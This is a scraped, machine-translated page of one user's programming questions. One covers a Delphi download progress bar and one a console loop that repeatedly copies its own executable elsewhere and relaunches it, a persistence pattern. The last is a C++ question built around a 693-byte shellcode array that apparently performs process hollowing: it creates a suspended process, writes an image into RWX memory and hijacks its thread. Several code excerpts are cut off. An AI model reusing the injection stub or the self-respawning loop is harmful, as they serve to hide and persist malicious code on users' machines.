小编use*_*695的帖子

我正在尝试下载文件,同时状态显示在进度条中.

我按照这里的说明进行操作:http: //delphi.about.com/cs/adptips2003/a/bltip0903_2.htm

这是我的代码:

unit unitUpdate;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, StdCtrls, ComCtrls, ExtActns;

type
  TForm5 = class(TForm)
    ProgressBar1: TProgressBar;
    SaveDialog1: TSaveDialog;
  private
    procedure URL_OnDownloadProgress
        (Sender: TDownLoadURL;
         Progress, ProgressMax: Cardinal;
         StatusCode: TURLDownloadStatus;
         StatusText: String; var Cancel: Boolean) ;
         function DoDownload: boolean;
  public
    { Public declarations }
  end;

var
  Form5: TForm5;

implementation

{$R *.dfm}

procedure TForm5.URL_OnDownloadProgress;
begin
   ProgressBar1.Max:= ProgressMax;
   ProgressBar1.Position:= Progress;
end;

function TForm5.DoDownload: Boolean;
begin
  ShowMessage('A new update is available!');
  savedialog1.Title := …

在我的代码中,我有一个while循环.

说实话,我并不需要它,甚至是一个while循环,只是一个不断循环,所以在程序开始时我设置一个布尔变量为真,那么我用在BoolVar.

这是在控制台应用程序而不是表单中.

循环使应用程序消耗100%的使用率.

我正在睡觉(2000); 在循环内.

如何降低CPU使用率？任何帮助是极大的赞赏.

while PerRunning do begin
if ProcessExists('FileName.exe') = False then
begin
  try
  if FileExists(InP) = False then
    CopyFile(PAnsiChar(ParamStr(0)), PAnsiChar(InP), False);
  ShellExecute(0,nil,PAnsiChar(InP),PAnsiChar(ParamStr(0)),nil,SW_SHOW);
  sleep(2000);
  except
  end;
end;

结束;

function processExists(exeFileName: string): Boolean; 
var 
  ContinueLoop: BOOL; 
  FSnapshotHandle: THandle; 
  FProcessEntry32: TProcessEntry32; 
begin 
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
  FProcessEntry32.dwSize := SizeOf(FProcessEntry32); 
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32); 
  Result := False; 
  while Integer(ContinueLoop) <> 0 do begin 
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) 
       or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then begin 
      Result := True; 
    end; 
    ContinueLoop := …

我目前正在尝试在我的C++应用程序中创建一个字节数组.

我使用以下代码:

#include "stdafx.h"

const BYTE DMSN[693]={$55,$8B,$EC,$81,$C4,$A4,$FA,$FF,$FF,$89,$45,$FC,$E8,$1B,$02,$00,$00,$89,$85,$CC,
$FD,$FF,$FF,$BB,$F2,$0F,$56,$C6,$8B,$95,$CC,$FD,$FF,$FF,$E8,$19,$02,$00,$00,$89,
$45,$F8,$BB,$A9,$8B,$80,$2D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$06,$02,$00,$00,$89,$45,
$F4,$BB,$85,$3B,$AE,$DB,$8B,$95,$CC,$FD,$FF,$FF,$E8,$F3,$01,$00,$00,$89,$45,$F0,
$BB,$93,$35,$DF,$85,$8B,$95,$CC,$FD,$FF,$FF,$E8,$E0,$01,$00,$00,$89,$45,$EC,$BB,
$8D,$CB,$B6,$5D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$CD,$01,$00,$00,$89,$45,$E8,$BB,$53,
$13,$C1,$78,$8B,$95,$CC,$FD,$FF,$FF,$E8,$BA,$01,$00,$00,$89,$45,$E4,$BB,$8A,$DB,
$DF,$A5,$8B,$95,$CC,$FD,$FF,$FF,$E8,$A7,$01,$00,$00,$89,$45,$E0,$BB,$2E,$05,$50,
$C8,$8B,$95,$CC,$FD,$FF,$FF,$E8,$94,$01,$00,$00,$89,$45,$DC,$BB,$85,$A1,$16,$A2,
$8B,$95,$CC,$FD,$FF,$FF,$E8,$81,$01,$00,$00,$E8,$06,$00,$00,$00,$6E,$74,$64,$6C,
$6C,$00,$5F,$57,$FF,$D0,$89,$85,$D0,$FD,$FF,$FF,$BB,$8B,$E3,$CD,$41,$8B,$D0,$E8,
$60,$01,$00,$00,$89,$45,$D8,$BB,$39,$23,$0D,$2C,$8B,$95,$D0,$FD,$FF,$FF,$E8,$4D,
$01,$00,$00,$89,$45,$D4,$68,$00,$02,$00,$00,$8D,$85,$D4,$FD,$FF,$FF,$50,$6A,$00,
$FF,$55,$F8,$6A,$44,$8D,$85,$88,$FD,$FF,$FF,$50,$FF,$55,$D4,$FF,$55,$F4,$8B,$C8,
$8D,$85,$78,$FD,$FF,$FF,$50,$8D,$85,$88,$FD,$FF,$FF,$50,$6A,$00,$6A,$00,$6A,$04,
$6A,$00,$6A,$00,$6A,$00,$51,$8D,$85,$D4,$FD,$FF,$FF,$50,$FF,$55,$F0,$68,$CC,$02,
$00,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$55,$D4,$C7,$85,$A4,$FA,$FF,$FF,$02,$00,
$01,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$EC,$64,$A1,
$30,$00,$00,$00,$8B,$40,$0C,$8B,$40,$14,$8B,$40,$10,$50,$FF,$B5,$78,$FD,$FF,$FF,
$FF,$55,$D8,$8B,$7D,$FC,$03,$7F,$3C,$6A,$40,$68,$00,$30,$00,$00,$FF,$77,$50,$FF,
$77,$34,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E8,$89,$85,$74,$FD,$FF,$FF,$6A,$00,$FF,
$77,$54,$FF,$75,$FC,$FF,$B5,$74,$FD,$FF,$FF,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E4,
$8D,$47,$18,$89,$85,$70,$FD,$FF,$FF,$0F,$B7,$47,$14,$01,$85,$70,$FD,$FF,$FF,$33,
$C0,$33,$F6,$33,$C9,$EB,$29,$6B,$C6,$28,$03,$85,$70,$FD,$FF,$FF,$8B,$9D,$74,$FD,
$FF,$FF,$03,$58,$0C,$8B,$55,$FC,$03,$50,$14,$6A,$00,$FF,$70,$10,$52,$53,$FF,$B5,
$78,$FD,$FF,$FF,$FF,$55,$E4,$46,$66,$3B,$77,$06,$72,$D1,$8B,$85,$74,$FD,$FF,$FF,
$03,$47,$28,$89,$85,$54,$FB,$FF,$FF,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,
$FF,$FF,$FF,$55,$E0,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$DC,$C9,$C3,$64,$A1,$30,$00,
$00,$00,$8B,$40,$0C,$8B,$40,$0C,$8B,$00,$8B,$00,$8B,$40,$18,$C3,$55,$8B,$EC,$83,
$C4,$F4,$52,$89,$55,$FC,$8B,$4A,$3C,$03,$CA,$89,$4D,$F4,$8B,$49,$78,$03,$CA,$89,
$4D,$F8,$8B,$51,$18,$8B,$49,$20,$03,$4D,$FC,$33,$FF,$8B,$31,$03,$75,$FC,$33,$C0,
$51,$AC,$8B,$C8,$03,$F8,$D3,$C7,$85,$C0,$75,$F5,$59,$3B,$FB,$74,$10,$83,$C1,$04,
$4A,$75,$E0,$BA,$C2,$58,$62,$1B,$5A,$33,$C0,$C9,$C3,$8B,$45,$FC,$8B,$4D,$F8,$8B,
$59,$18,$8B,$49,$24,$03,$C8,$2B,$DA,$D1,$E3,$03,$CB,$0F,$B7,$19,$8B,$4D,$F8,$8B,
$49,$1C,$03,$C8,$C1,$E3,$02,$03,$CB,$03,$01,$5A,$C9,$C3}

int _tmain(int argc, _TCHAR* argv[])
{
return 0;
}

这就是它在IDE中的样子:http: //gyazo.com/ae6ccac99b8f0d6bfd26cadecfe89939.png

我目前正在使用Microsoft Visual C++ 2010 Express.

好像我没有导入我需要的东西(从BYTE某种意义上说是为了使用或"字节数组")？